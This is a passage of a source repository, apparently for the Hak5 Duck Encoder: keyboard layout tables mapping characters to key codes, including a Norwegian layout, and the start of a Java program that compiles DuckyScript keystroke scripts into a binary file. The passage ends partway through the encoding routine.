KEY_TILDE 214 | // 189 ½ FRACTION ONE HALF 215 | //ISO_8859_1_C0 = GRAVE_ACCENT_BITS + KEY_A, MODIFIERKEY_SHIFT 216 | // 192 À A GRAVE 217 | //ISO_8859_1_C1 = ACUTE_ACCENT_BITS + KEY_A, MODIFIERKEY_SHIFT 218 | // 193 Á A ACUTE 219 | //ISO_8859_1_C2 = CIRCUMFLEX_BITS + KEY_A, MODIFIERKEY_SHIFT 220 | // 194  A CIRCUMFLEX 221 | //ISO_8859_1_C3 = TILDE_BITS + KEY_A, MODIFIERKEY_SHIFT 222 | // 195 à A TILDE 223 | //ISO_8859_1_C4 = DIAERESIS_BITS + KEY_A, MODIFIERKEY_SHIFT 224 | // 196 Ä A DIAERESIS 225 | ISO_8859_1_C5 = KEY_LEFT_BRACE, MODIFIERKEY_SHIFT 226 | // 197 Å A RING ABOVE 227 | ISO_8859_1_C6 = KEY_SEMICOLON, MODIFIERKEY_SHIFT 228 | // 198 Æ AE 229 | //ISO_8859_1_C8 = GRAVE_ACCENT_BITS + KEY_E, MODIFIERKEY_SHIFT 230 | // 200 È E GRAVE 231 | //ISO_8859_1_C9 = ACUTE_ACCENT_BITS + KEY_E, MODIFIERKEY_SHIFT 232 | // 201 É E ACUTE 233 | //ISO_8859_1_CA = CIRCUMFLEX_BITS + KEY_E, MODIFIERKEY_SHIFT 234 | // 202 Ê E CIRCUMFLEX 235 | //ISO_8859_1_CB = DIAERESIS_BITS + KEY_E, MODIFIERKEY_SHIFT 236 | // 203 Ë E DIAERESIS 237 | //ISO_8859_1_CC = GRAVE_ACCENT_BITS + KEY_I, MODIFIERKEY_SHIFT 238 | // 204 Ì I GRAVE 239 | //ISO_8859_1_CD = ACUTE_ACCENT_BITS + KEY_I, MODIFIERKEY_SHIFT 240 | // 205 Í I ACUTE 241 | //ISO_8859_1_CE = CIRCUMFLEX_BITS + KEY_I, MODIFIERKEY_SHIFT 242 | // 206 Î I CIRCUMFLEX 243 | //ISO_8859_1_CF = DIAERESIS_BITS + KEY_I, MODIFIERKEY_SHIFT 244 | // 207 Ï I DIAERESIS 245 | //ISO_8859_1_D0 = KEY_D, MODIFIERKEY_RIGHT_ALT, MODIFIERKEY_SHIFT 246 | // 208 Ð ETH 247 | //ISO_8859_1_D1 = TILDE_BITS + KEY_N, MODIFIERKEY_SHIFT 248 | // 209 Ñ N TILDE 249 | //ISO_8859_1_D2 = GRAVE_ACCENT_BITS + KEY_O, MODIFIERKEY_SHIFT 250 | // 210 Ò O GRAVE 251 | //ISO_8859_1_D3 = ACUTE_ACCENT_BITS + KEY_O, MODIFIERKEY_SHIFT 252 | // 211 Ó O ACUTE 253 | //ISO_8859_1_D4 = CIRCUMFLEX_BITS + KEY_O, MODIFIERKEY_SHIFT 254 | // 212 Ô O CIRCUMFLEX 255 | //ISO_8859_1_D5 = TILDE_BITS + KEY_O, MODIFIERKEY_SHIFT 256 | // 213 Õ O TILDE 257 | //ISO_8859_1_D6 = DIAERESIS_BITS + KEY_O, MODIFIERKEY_SHIFT 258 | // 214 Ö O DIAERESIS 259 | ISO_8859_1_D8 = KEY_QUOTE, MODIFIERKEY_SHIFT 260 | // 216 Ø O STROKE 261 | //ISO_8859_1_D9 = GRAVE_ACCENT_BITS + KEY_U, MODIFIERKEY_SHIFT 262 | // 217 Ù U GRAVE 263 | //ISO_8859_1_DA = ACUTE_ACCENT_BITS + KEY_U, MODIFIERKEY_SHIFT 264 | // 218 Ú U ACUTE 265 | //ISO_8859_1_DB = CIRCUMFLEX_BITS + KEY_U, MODIFIERKEY_SHIFT 266 | // 219 Û U CIRCUMFLEX 267 | //ISO_8859_1_DC = DIAERESIS_BITS + KEY_U, MODIFIERKEY_SHIFT 268 | // 220 Ü U DIAERESIS 269 | //ISO_8859_1_DD = ACUTE_ACCENT_BITS + KEY_Y, MODIFIERKEY_SHIFT 270 | // 221 Ý Y ACUTE 271 | //ISO_8859_1_DE = KEY_T, MODIFIERKEY_RIGHT_ALT, MODIFIERKEY_SHIFT 272 | // 222 Þ THORN 273 | ISO_8859_1_DF = KEY_S, MODIFIERKEY_RIGHT_ALT 274 | // 223 ß SHARP S 275 | //ISO_8859_1_E0 = GRAVE_ACCENT_BITS + KEY_A 276 | // 224 à a GRAVE 277 | //ISO_8859_1_E1 = ACUTE_ACCENT_BITS + KEY_A 278 | // 225 á a ACUTE 279 | //ISO_8859_1_E2 = CIRCUMFLEX_BITS + KEY_A 280 | // 226 â a CIRCUMFLEX 281 | //ISO_8859_1_E3 = TILDE_BITS + KEY_A 282 | // 227 ã a TILDE 283 | //ISO_8859_1_E4 = DIAERESIS_BITS + KEY_A 284 | // 228 ä a DIAERESIS 285 | ISO_8859_1_E5 = KEY_LEFT_BRACE 286 | // 229 å a RING ABOVE 287 | ISO_8859_1_E6 = KEY_SEMICOLON 288 | // 230 æ ae 289 | //ISO_8859_1_E8 = GRAVE_ACCENT_BITS + KEY_E 290 | // 232 è e GRAVE 291 | //ISO_8859_1_E9 = ACUTE_ACCENT_BITS + KEY_E 292 | // 233 é e ACUTE 293 | //ISO_8859_1_EA = CIRCUMFLEX_BITS + KEY_E 294 | // 234 ê e CIRCUMFLEX 295 | //ISO_8859_1_EB = DIAERESIS_BITS + KEY_E 296 | // 235 ë e DIAERESIS 297 | //ISO_8859_1_EC = GRAVE_ACCENT_BITS + KEY_I 298 | // 236 ì i GRAVE 299 | //ISO_8859_1_ED = ACUTE_ACCENT_BITS + KEY_I 300 | // 237 í i ACUTE 301 | //ISO_8859_1_EE = CIRCUMFLEX_BITS + KEY_I 302 | // 238 î i CIRCUMFLEX 303 | //ISO_8859_1_EF = DIAERESIS_BITS + KEY_I 304 | // 239 ï i DIAERESIS 305 | ISO_8859_1_F0 = KEY_D, MODIFIERKEY_RIGHT_ALT 306 | // 240 ð ETH 307 | //ISO_8859_1_F1 = TILDE_BITS + KEY_N 308 | // 241 ñ n TILDE 309 | //ISO_8859_1_F2 = GRAVE_ACCENT_BITS + KEY_O 310 | // 242 ò o GRAVE 311 | //ISO_8859_1_F3 = ACUTE_ACCENT_BITS + KEY_O 312 | // 243 ó o ACUTE 313 | //ISO_8859_1_F4 = CIRCUMFLEX_BITS + KEY_O 314 | // 244 ô o CIRCUMFLEX 315 | //ISO_8859_1_F5 = TILDE_BITS + KEY_O 316 | // 245 õ o TILDE 317 | //ISO_8859_1_F6 = DIAERESIS_BITS + KEY_O 318 | // 246 ö o DIAERESIS 319 | ISO_8859_1_F8 = KEY_QUOTE 320 | // 248 ø o STROKE 321 | //ISO_8859_1_F9 = GRAVE_ACCENT_BITS + KEY_U 322 | // 249 ù u GRAVE 323 | //ISO_8859_1_FA = ACUTE_ACCENT_BITS + KEY_U 324 | // 250 ú u ACUTE 325 | //ISO_8859_1_FB = CIRCUMFLEX_BITS + KEY_U 326 | // 251 û u CIRCUMFLEX 327 | //ISO_8859_1_FC = DIAERESIS_BITS + KEY_U 328 | // 252 ü u DIAERESIS 329 | //ISO_8859_1_FD = ACUTE_ACCENT_BITS + KEY_Y 330 | // 253 ý y ACUTE 331 | ISO_8859_1_FE = KEY_T, MODIFIERKEY_RIGHT_ALT 332 | // 254 þ THORN 333 | //ISO_8859_1_FF = DIAERESIS_BITS + KEY_Y 334 | // 255 ÿ y DIAERESIS 335 | UNICODE_20AC = KEY_E, MODIFIERKEY_RIGHT_ALT 336 | // € Euro Sign 337 | 338 | -------------------------------------------------------------------------------- /duck_encoder/resources/no.properties: -------------------------------------------------------------------------------- 1 | #ifdef LAYOUT_NORWEGIAN 2 | 3 | KEY_NON_US_100 = 100 4 | 5 | ASCII_20 = KEY_SPACE 6 | // 32 7 | ASCII_21 = KEY_1, MODIFIERKEY_SHIFT 8 | // 33 ! 9 | ASCII_22 = KEY_2, MODIFIERKEY_SHIFT 10 | // 34 " 11 | ASCII_23 = KEY_3, MODIFIERKEY_SHIFT 12 | // 35 # 13 | ASCII_24 = KEY_4, MODIFIERKEY_RIGHT_ALT 14 | // 36 $ 15 | ASCII_25 = KEY_5, MODIFIERKEY_SHIFT 16 | // 37 % 17 | ASCII_26 = KEY_6, MODIFIERKEY_SHIFT 18 | // 38 & 19 | ASCII_27 = KEY_BACKSLASH 20 | // 39 ' 21 | ASCII_28 = KEY_8, MODIFIERKEY_SHIFT 22 | // 40 ( 23 | ASCII_29 = KEY_9, MODIFIERKEY_SHIFT 24 | // 41 ) 25 | ASCII_2A = KEY_BACKSLASH, MODIFIERKEY_SHIFT 26 | // 42 * 27 | ASCII_2B = KEY_MINUS 28 | // 43 + 29 | ASCII_2C = KEY_COMMA 30 | // 44 , 31 | ASCII_2D = KEY_SLASH 32 | // 45 - 33 | ASCII_2E = KEY_PERIOD 34 | // 46 . 35 | ASCII_2F = KEY_7, MODIFIERKEY_SHIFT 36 | // 47 / 37 | ASCII_30 = KEY_0 38 | // 48 0 39 | ASCII_31 = KEY_1 40 | // 49 1 41 | ASCII_32 = KEY_2 42 | // 50 2 43 | ASCII_33 = KEY_3 44 | // 51 3 45 | ASCII_34 = KEY_4 46 | // 52 4 47 | ASCII_35 = KEY_5 48 | // 53 5 49 | ASCII_36 = KEY_6 50 | // 54 6 51 | ASCII_37 = KEY_7 52 | // 55 7 53 | ASCII_38 = KEY_8 54 | // 55 8 55 | ASCII_39 = KEY_9 56 | // 57 9 57 | ASCII_3A = KEY_PERIOD, MODIFIERKEY_SHIFT 58 | // 58 : 59 | ASCII_3B = KEY_COMMA, MODIFIERKEY_SHIFT 60 | // 59 ; 61 | ASCII_3C = KEY_NON_US_100 62 | // 60 < 63 | ASCII_3D = KEY_0, MODIFIERKEY_SHIFT 64 | // 61 = 65 | ASCII_3E = KEY_NON_US_100, MODIFIERKEY_SHIFT 66 | // 62 > 67 | ASCII_3F = KEY_MINUS, MODIFIERKEY_SHIFT 68 | // 63 ? 69 | ASCII_40 = KEY_2, MODIFIERKEY_RIGHT_ALT 70 | // 64 @ 71 | ASCII_41 = KEY_A, MODIFIERKEY_SHIFT 72 | // 65 A 73 | ASCII_42 = KEY_B, MODIFIERKEY_SHIFT 74 | // 66 B 75 | ASCII_43 = KEY_C, MODIFIERKEY_SHIFT 76 | // 67 C 77 | ASCII_44 = KEY_D, MODIFIERKEY_SHIFT 78 | // 68 D 79 | ASCII_45 = KEY_E, MODIFIERKEY_SHIFT 80 | // 69 E 81 | ASCII_46 = KEY_F, MODIFIERKEY_SHIFT 82 | // 70 F 83 | ASCII_47 = KEY_G, MODIFIERKEY_SHIFT 84 | // 71 G 85 | ASCII_48 = KEY_H, MODIFIERKEY_SHIFT 86 | // 72 H 87 | ASCII_49 = KEY_I, MODIFIERKEY_SHIFT 88 | // 73 I 89 | ASCII_4A = KEY_J, MODIFIERKEY_SHIFT 90 | // 74 J 91 | ASCII_4B = KEY_K, MODIFIERKEY_SHIFT 92 | // 75 K 93 | ASCII_4C = KEY_L, MODIFIERKEY_SHIFT 94 | // 76 L 95 | ASCII_4D = KEY_M, MODIFIERKEY_SHIFT 96 | // 77 M 97 | ASCII_4E = KEY_N, MODIFIERKEY_SHIFT 98 | // 78 N 99 | ASCII_4F = KEY_O, MODIFIERKEY_SHIFT 100 | // 79 O 101 | ASCII_50 = KEY_P, MODIFIERKEY_SHIFT 102 | // 80 P 103 | ASCII_51 = KEY_Q, MODIFIERKEY_SHIFT 104 | // 81 Q 105 | ASCII_52 = KEY_R, MODIFIERKEY_SHIFT 106 | // 82 R 107 | ASCII_53 = KEY_S, MODIFIERKEY_SHIFT 108 | // 83 S 109 | ASCII_54 = KEY_T, MODIFIERKEY_SHIFT 110 | // 84 T 111 | ASCII_55 = KEY_U, MODIFIERKEY_SHIFT 112 | // 85 U 113 | ASCII_56 = KEY_V, MODIFIERKEY_SHIFT 114 | // 86 V 115 | ASCII_57 = KEY_W, MODIFIERKEY_SHIFT 116 | // 87 W 117 | ASCII_58 = KEY_X, MODIFIERKEY_SHIFT 118 | // 88 X 119 | ASCII_59 = KEY_Y, MODIFIERKEY_SHIFT 120 | // 89 Y 121 | ASCII_5A = KEY_Z, MODIFIERKEY_SHIFT 122 | // 90 Z 123 | ASCII_5B = KEY_8, MODIFIERKEY_RIGHT_ALT 124 | // 91 [ 125 | ASCII_5C = KEY_EQUAL 126 | // 92 127 | ASCII_5D = KEY_9, MODIFIERKEY_RIGHT_ALT 128 | // 93 ] 129 | //ASCII_5E = CIRCUMFLEX_BITS + KEY_SPACE 130 | // 94 ^ 131 | ASCII_5F = KEY_SLASH, MODIFIERKEY_SHIFT 132 | // 95 _ 133 | //ASCII_60 = GRAVE_ACCENT_BITS + KEY_SPACE 134 | // 96 ` 135 | ASCII_61 = KEY_A 136 | // 97 a 137 | ASCII_62 = KEY_B 138 | // 98 b 139 | ASCII_63 = KEY_C 140 | // 99 c 141 | ASCII_64 = KEY_D 142 | // 100 d 143 | ASCII_65 = KEY_E 144 | // 101 e 145 | ASCII_66 = KEY_F 146 | // 102 f 147 | ASCII_67 = KEY_G 148 | // 103 g 149 | ASCII_68 = KEY_H 150 | // 104 h 151 | ASCII_69 = KEY_I 152 | // 105 i 153 | ASCII_6A = KEY_J 154 | // 106 j 155 | ASCII_6B = KEY_K 156 | // 107 k 157 | ASCII_6C = KEY_L 158 | // 108 l 159 | ASCII_6D = KEY_M 160 | // 109 m 161 | ASCII_6E = KEY_N 162 | // 110 n 163 | ASCII_6F = KEY_O 164 | // 111 o 165 | ASCII_70 = KEY_P 166 | // 112 p 167 | ASCII_71 = KEY_Q 168 | // 113 q 169 | ASCII_72 = KEY_R 170 | // 114 r 171 | ASCII_73 = KEY_S 172 | // 115 s 173 | ASCII_74 = KEY_T 174 | // 116 t 175 | ASCII_75 = KEY_U 176 | // 117 u 177 | ASCII_76 = KEY_V 178 | // 118 v 179 | ASCII_77 = KEY_W 180 | // 119 w 181 | ASCII_78 = KEY_X 182 | // 120 x 183 | ASCII_79 = KEY_Y 184 | // 121 y 185 | ASCII_7A = KEY_Z 186 | // 122 z 187 | ASCII_7B = KEY_7, MODIFIERKEY_RIGHT_ALT 188 | // 123 { 189 | ASCII_7C = KEY_TILDE 190 | // 124 | 191 | ASCII_7D = KEY_0, MODIFIERKEY_RIGHT_ALT 192 | // 125 } 193 | ASCII_7E = KEY_RIGHT_BRACE, MODIFIERKEY_RIGHT_ALT 194 | // 126 ~ (not tested) 195 | ASCII_7F = KEY_BACKSPACE 196 | // 127 197 | 198 | ISO_8859_1_A0 = KEY_SPACE 199 | // 160 Nonbreakng Space 200 | ISO_8859_1_A3 = KEY_3, MODIFIERKEY_RIGHT_ALT 201 | // 163 £ Pound Sign 202 | ISO_8859_1_A4 = KEY_4, MODIFIERKEY_SHIFT 203 | // 164 ¤ Currency Sign 204 | ISO_8859_1_A7 = KEY_TILDE, MODIFIERKEY_SHIFT 205 | // 167 § SECTION SIGN 206 | //ISO_8859_1_A8 = DIAERESIS_BITS + KEY_SPACE 207 | // 168 ¨ DIAERESIS 208 | ISO_8859_1_AB = KEY_4 209 | // 171 « LEFT DOUBLE ANGLE QUOTE 210 | //ISO_8859_1_B4 = ACUTE_ACCENT_BITS + KEY_SPACE 211 | // 180 ´ ACUTE ACCENT 212 | ISO_8859_1_B5 = KEY_M, MODIFIERKEY_RIGHT_ALT 213 | // 181 µ MICRO SIGN 214 | ISO_8859_1_BD = KEY_TILDE 215 | // 189 ½ FRACTION ONE HALF 216 | //ISO_8859_1_C0 = GRAVE_ACCENT_BITS + KEY_A, MODIFIERKEY_SHIFT = 217 | // 192 À A GRAVE 218 | //ISO_8859_1_C1 = ACUTE_ACCENT_BITS + KEY_A, MODIFIERKEY_SHIFT = 219 | // 193 Á A ACUTE 220 | //ISO_8859_1_C2 = CIRCUMFLEX_BITS + KEY_A, MODIFIERKEY_SHIFT = 221 | // 194  A CIRCUMFLEX 222 | //ISO_8859_1_C3 = TILDE_BITS + KEY_A, MODIFIERKEY_SHIFT 223 | // 195 à A TILDE 224 | //ISO_8859_1_C4 = DIAERESIS_BITS + KEY_A, MODIFIERKEY_SHIFT = 225 | // 196 Ä A DIAERESIS 226 | ISO_8859_1_C5 = KEY_LEFT_BRACE, MODIFIERKEY_SHIFT 227 | // 197 Å A RING ABOVE 228 | ISO_8859_1_C6 = KEY_QUOTE, MODIFIERKEY_SHIFT 229 | // 198 Æ AE 230 | //ISO_8859_1_C8 = GRAVE_ACCENT_BITS + KEY_E, MODIFIERKEY_SHIFT = 231 | // 200 È E GRAVE 232 | //ISO_8859_1_C9 = ACUTE_ACCENT_BITS + KEY_E, MODIFIERKEY_SHIFT = 233 | // 201 É E ACUTE 234 | //ISO_8859_1_CA = CIRCUMFLEX_BITS + KEY_E, MODIFIERKEY_SHIFT = 235 | // 202 Ê E CIRCUMFLEX 236 | //ISO_8859_1_CB = DIAERESIS_BITS + KEY_E, MODIFIERKEY_SHIFT = 237 | // 203 Ë E DIAERESIS 238 | //ISO_8859_1_CC = GRAVE_ACCENT_BITS + KEY_I, MODIFIERKEY_SHIFT = 239 | // 204 Ì I GRAVE 240 | //ISO_8859_1_CD = ACUTE_ACCENT_BITS + KEY_I, MODIFIERKEY_SHIFT = 241 | // 205 Í I ACUTE 242 | //ISO_8859_1_CE = CIRCUMFLEX_BITS + KEY_I, MODIFIERKEY_SHIFT = 243 | // 206 Î I CIRCUMFLEX 244 | //ISO_8859_1_CF = DIAERESIS_BITS + KEY_I, MODIFIERKEY_SHIFT = 245 | // 207 Ï I DIAERESIS 246 | //ISO_8859_1_D0 = KEY_D, MODIFIERKEY_RIGHT_ALT, MODIFIERKEY_SHIFT 247 | // 208 Ð ETH 248 | //ISO_8859_1_D1 = TILDE_BITS + KEY_N, MODIFIERKEY_SHIFT 249 | // 209 Ñ N TILDE 250 | //ISO_8859_1_D2 = GRAVE_ACCENT_BITS + KEY_O, MODIFIERKEY_SHIFT = 251 | // 210 Ò O GRAVE 252 | //ISO_8859_1_D3 = ACUTE_ACCENT_BITS + KEY_O, MODIFIERKEY_SHIFT = 253 | // 211 Ó O ACUTE 254 | //ISO_8859_1_D4 = CIRCUMFLEX_BITS + KEY_O, MODIFIERKEY_SHIFT = 255 | // 212 Ô O CIRCUMFLEX 256 | //ISO_8859_1_D5 = TILDE_BITS + KEY_O, MODIFIERKEY_SHIFT 257 | // 213 Õ O TILDE 258 | //ISO_8859_1_D6 = DIAERESIS_BITS + KEY_O, MODIFIERKEY_SHIFT = 259 | // 214 Ö O DIAERESIS 260 | ISO_8859_1_D8 = KEY_SEMICOLON, MODIFIERKEY_SHIFT 261 | // 216 Ø O STROKE 262 | //ISO_8859_1_D9 = GRAVE_ACCENT_BITS + KEY_U, MODIFIERKEY_SHIFT = 263 | // 217 Ù U GRAVE 264 | //ISO_8859_1_DA = ACUTE_ACCENT_BITS + KEY_U, MODIFIERKEY_SHIFT = 265 | // 218 Ú U ACUTE 266 | //ISO_8859_1_DB = CIRCUMFLEX_BITS + KEY_U, MODIFIERKEY_SHIFT = 267 | // 219 Û U CIRCUMFLEX 268 | //ISO_8859_1_DC = DIAERESIS_BITS + KEY_U, MODIFIERKEY_SHIFT = 269 | // 220 Ü U DIAERESIS 270 | //ISO_8859_1_DD = ACUTE_ACCENT_BITS + KEY_Y, MODIFIERKEY_SHIFT = 271 | // 221 Ý Y ACUTE 272 | //ISO_8859_1_DE = KEY_T, MODIFIERKEY_RIGHT_ALT, MODIFIERKEY_SHIFT 273 | // 222 Þ THORN 274 | ISO_8859_1_DF = KEY_S, MODIFIERKEY_RIGHT_ALT 275 | // 223 ß SHARP S 276 | //ISO_8859_1_E0 = GRAVE_ACCENT_BITS + KEY_A 277 | // 224 à a GRAVE 278 | //ISO_8859_1_E1 = ACUTE_ACCENT_BITS + KEY_A 279 | // 225 á a ACUTE 280 | //ISO_8859_1_E2 = CIRCUMFLEX_BITS + KEY_A 281 | // 226 â a CIRCUMFLEX 282 | //ISO_8859_1_E3 = TILDE_BITS + KEY_A 283 | // 227 ã a TILDE 284 | //ISO_8859_1_E4 = DIAERESIS_BITS + KEY_A 285 | // 228 ä a DIAERESIS 286 | ISO_8859_1_E5 = KEY_LEFT_BRACE 287 | // 229 å a RING ABOVE 288 | ISO_8859_1_E6 = KEY_QUOTE 289 | // 230 æ ae 290 | //ISO_8859_1_E8 = GRAVE_ACCENT_BITS + KEY_E 291 | // 232 è e GRAVE 292 | //ISO_8859_1_E9 = ACUTE_ACCENT_BITS + KEY_E 293 | // 233 é e ACUTE 294 | //ISO_8859_1_EA = CIRCUMFLEX_BITS + KEY_E 295 | // 234 ê e CIRCUMFLEX 296 | //ISO_8859_1_EB = DIAERESIS_BITS + KEY_E 297 | // 235 ë e DIAERESIS 298 | //ISO_8859_1_EC = GRAVE_ACCENT_BITS + KEY_I 299 | // 236 ì i GRAVE 300 | //ISO_8859_1_ED = ACUTE_ACCENT_BITS + KEY_I 301 | // 237 í i ACUTE 302 | //ISO_8859_1_EE = CIRCUMFLEX_BITS + KEY_I 303 | // 238 î i CIRCUMFLEX 304 | //ISO_8859_1_EF = DIAERESIS_BITS + KEY_I 305 | // 239 ï i DIAERESIS 306 | ISO_8859_1_F0 = KEY_D, MODIFIERKEY_RIGHT_ALT 307 | // 240 ð ETH 308 | //ISO_8859_1_F1 = TILDE_BITS + KEY_N 309 | // 241 ñ n TILDE 310 | //ISO_8859_1_F2 = GRAVE_ACCENT_BITS + KEY_O 311 | // 242 ò o GRAVE 312 | //ISO_8859_1_F3 = ACUTE_ACCENT_BITS + KEY_O 313 | // 243 ó o ACUTE 314 | //ISO_8859_1_F4 = CIRCUMFLEX_BITS + KEY_O 315 | // 244 ô o CIRCUMFLEX 316 | //ISO_8859_1_F5 = TILDE_BITS + KEY_O 317 | // 245 õ o TILDE 318 | //ISO_8859_1_F6 = DIAERESIS_BITS + KEY_O 319 | // 246 ö o DIAERESIS 320 | ISO_8859_1_F8 = KEY_SEMICOLON 321 | // 248 ø o STROKE 322 | //ISO_8859_1_F9 = GRAVE_ACCENT_BITS + KEY_U 323 | // 249 ù u GRAVE 324 | //ISO_8859_1_FA = ACUTE_ACCENT_BITS + KEY_U 325 | // 250 ú u ACUTE 326 | //ISO_8859_1_FB = CIRCUMFLEX_BITS + KEY_U 327 | // 251 û u CIRCUMFLEX 328 | //ISO_8859_1_FC = DIAERESIS_BITS + KEY_U 329 | // 252 ü u DIAERESIS 330 | //ISO_8859_1_FD = ACUTE_ACCENT_BITS + KEY_Y 331 | // 253 ý y ACUTE 332 | ISO_8859_1_FE = KEY_T, MODIFIERKEY_RIGHT_ALT 333 | // 254 þ THORN 334 | //ISO_8859_1_FF = DIAERESIS_BITS + KEY_Y 335 | // 255 ÿ y DIAERESIS 336 | UNICODE_20AC = KEY_E, MODIFIERKEY_RIGHT_ALT 337 | // € Euro Sign 338 | 339 | -------------------------------------------------------------------------------- /duck_encoder/src/Encoder.java: -------------------------------------------------------------------------------- 1 | // File: Encoder.java 2 | // Created: 8/10/2011 3 | // Original Author:Jason Appelbaum Jason@Hak5.org 4 | // Author: Dnucna 5 | // Modified: 8/18/2012 6 | // Modified: 1/3/2013 midnitesnake "added COMMAND" 7 | // Modified: 2/5/2013 midnitesnake "added ALT-SHIFT" 8 | // Modified: 1/3/2013 midnitesnake "added REPEAT X" 9 | // Modified: 4/18/2013 midnitesnake "added more user feedback" 10 | // Modified: 5/2/2013 midnitesnake "added skip over empty lines" 11 | 12 | import java.io.DataInputStream; 13 | import java.io.File; 14 | import java.io.FileInputStream; 15 | import java.io.FileOutputStream; 16 | import java.io.IOException; 17 | import java.io.InputStream; 18 | import java.util.ArrayList; 19 | import java.util.List; 20 | 21 | import javax.swing.text.BadLocationException; 22 | import javax.swing.text.Document; 23 | import javax.swing.text.rtf.RTFEditorKit; 24 | 25 | import java.util.Properties; 26 | 27 | public class Encoder { 28 | /* contains the keyboard configuration */ 29 | private static Properties keyboardProps = new Properties(); 30 | /* contains the language layout */ 31 | private static Properties layoutProps = new Properties(); 32 | private static String version = "2.6"; 33 | private static Boolean debug=false; 34 | 35 | public static void main(String[] args) { 36 | String helpStr = "Hak5 Duck Encoder"+version+"\n\n" 37 | + "Usage: duckencode -i [file ..]\t\t\tencode specified file\n" 38 | + " or: duckencode -i [file ..] -o [file ..]\tencode to specified file\n\n" 39 | + "Arguments:\n" 40 | + " -i [file ..] \t\tInput File\n" 41 | + " -o [file ..] \t\tOutput File\n" 42 | + " -l [file ..] \t\tKeyboard Layout (us/fr/pt or a path to a properties file)\n\n" 43 | + "Script Commands:\n" 44 | + " ALT [key name] (ex: ALT F4, ALT SPACE)\n" 45 | + " CTRL | CONTROL [key name] (ex: CTRL ESC)\n" 46 | + " CTRL-ALT [key name] (ex: CTRL-ALT DEL)\n" 47 | + " CTRL-SHIFT [key name] (ex: CTRL-SHIFT ESC)\n" 48 | + " DEFAULT_DELAY | DEFAULTDELAY [Time in millisecond * 10] (change the delay between each command)\n" 49 | + " DELAY [Time in millisecond * 10] (used to overide temporary the default delay)\n" 50 | + " GUI | WINDOWS [key name] (ex: GUI r, GUI l)\n" 51 | + " REM [anything] (used to comment your code, no obligation :) )\n" 52 | + " ALT-SHIFT (swap language)\n" 53 | + " SHIFT [key name] (ex: SHIFT DEL)\n" 54 | + " STRING [any character of your layout]\n" 55 | + " REPEAT [Number] (Repeat last instruction N times)\n" 56 | + " [key name] (anything in the keyboard.properties)"; 57 | 58 | String inputFile = null; 59 | String outputFile = null; 60 | String layoutFile = null; 61 | 62 | if (args.length == 0) { 63 | System.out.println(helpStr); 64 | System.exit(0); 65 | } 66 | 67 | for (int i = 0; i < args.length; i++) { 68 | if (args[i].equals("--gui") || args[i].equals("-g")) { 69 | System.out.println("Launch GUI"); 70 | } else if (args[i].equals("--help") || args[i].equals("-h")) { 71 | System.out.println(helpStr); 72 | } else if (args[i].equals("-i")) { 73 | // encode file 74 | inputFile = args[++i]; 75 | } else if (args[i].equals("-o")) { 76 | // output file 77 | outputFile = args[++i]; 78 | } else if (args[i].equals("-l")) { 79 | // output file 80 | layoutFile = args[++i]; 81 | } else if (args[i].equals("-d")) { 82 | // output file 83 | debug=true; 84 | } else { 85 | System.out.println(helpStr); 86 | break; 87 | } 88 | } 89 | 90 | System.out.println("Hak5 Duck Encoder "+version+"\n"); 91 | 92 | if (inputFile != null) { 93 | String scriptStr = null; 94 | 95 | if (inputFile.contains(".rtf")) { 96 | try { 97 | FileInputStream stream = new FileInputStream(inputFile); 98 | RTFEditorKit kit = new RTFEditorKit(); 99 | Document doc = kit.createDefaultDocument(); 100 | kit.read(stream, doc, 0); 101 | 102 | scriptStr = doc.getText(0, doc.getLength()); 103 | System.out.println("Loading RTF .....\t\t[ OK ]"); 104 | } catch (IOException e) { 105 | System.out.println("Error with input file!"); 106 | } catch (BadLocationException e) { 107 | System.out.println("Error with input file!"); 108 | } 109 | 110 | } else { 111 | DataInputStream in = null; 112 | try { 113 | File f = new File(inputFile); 114 | byte[] buffer = new byte[(int) f.length()]; 115 | in = new DataInputStream(new FileInputStream(f)); 116 | in.readFully(buffer); 117 | scriptStr = new String(buffer); 118 | System.out.println("Loading File .....\t\t[ OK ]"); 119 | } catch (IOException e) { 120 | System.out.println("Error with input file!"); 121 | } finally { 122 | try { 123 | in.close(); 124 | } catch (IOException e) { /* ignore it */ 125 | } 126 | } 127 | } 128 | loadProperties((layoutFile == null) ? "us" : layoutFile); 129 | 130 | encodeToFile(scriptStr, (outputFile == null) ? "inject.bin" 131 | : outputFile); 132 | } 133 | 134 | } 135 | 136 | private static void loadProperties (String lang){ 137 | InputStream in; 138 | ClassLoader loader = ClassLoader.getSystemClassLoader (); 139 | try { 140 | in = loader.getResourceAsStream("keyboard.properties"); 141 | if(in != null){ 142 | keyboardProps.load(in); 143 | in.close(); 144 | System.out.println("Loading Keyboard File .....\t[ OK ]"); 145 | }else{ 146 | System.out.println("Error with keyboard.properties!"); 147 | System.exit(0); 148 | } 149 | } catch (IOException e) { 150 | System.out.println("Error with keyboard.properties!"); 151 | } 152 | 153 | try { 154 | in = loader.getResourceAsStream(lang + ".properties"); 155 | if(in != null){ 156 | layoutProps.load(in); 157 | in.close(); 158 | System.out.println("Loading Language File .....\t[ OK ]"); 159 | }else{ 160 | if(new File(lang).isFile()){ 161 | layoutProps.load(new FileInputStream(lang)); 162 | System.out.println("Loading Language File .....\t[ OK ]"); 163 | } else{ 164 | System.out.println("External layout.properties non found!"); 165 | System.exit(0); 166 | } 167 | } 168 | } catch (IOException e) { 169 | System.out.println("Error with layout.properties!"); 170 | System.exit(0); 171 | } 172 | 173 | } 174 | private static void encodeToFile(String inStr, String fileDest) { 175 | 176 | inStr = inStr.replaceAll("\\r", ""); // CRLF Fix 177 | String[] instructions = inStr.split("\n"); 178 | String[] last_instruction = inStr.split("\n"); 179 | List file = new ArrayList(); 180 | int defaultDelay = 0; 181 | int loop =0; 182 | boolean repeat=false; 183 | System.out.println("Loading DuckyScript .....\t[ OK ]"); 184 | if(debug) System.out.println("\nParsing Commands:"); 185 | for (int i = 0; i < instructions.length; i++) { 186 | try { 187 | boolean delayOverride = false; 188 | String commentCheck = instructions[i].substring(0, 2); 189 | if (commentCheck.equals("//")) 190 | continue; 191 | if (instructions[i].equals("\n")) 192 | continue; 193 | String[] instruction = instructions[i].split(" ", 2); 194 | 195 | if(i>0){ 196 | last_instruction=instructions[i-1].split(" ", 2); 197 | last_instruction[0].trim(); 198 | if (last_instruction.length == 2) { 199 | last_instruction[1].trim(); 200 | } 201 | }else{ 202 | last_instruction=instructions[i].split(" ", 2); 203 | last_instruction[0].trim(); 204 | if (last_instruction.length == 2) { 205 | last_instruction[1].trim(); 206 | } 207 | } 208 | 209 | instruction[0].trim(); 210 | 211 | if (instruction.length == 2) { 212 | 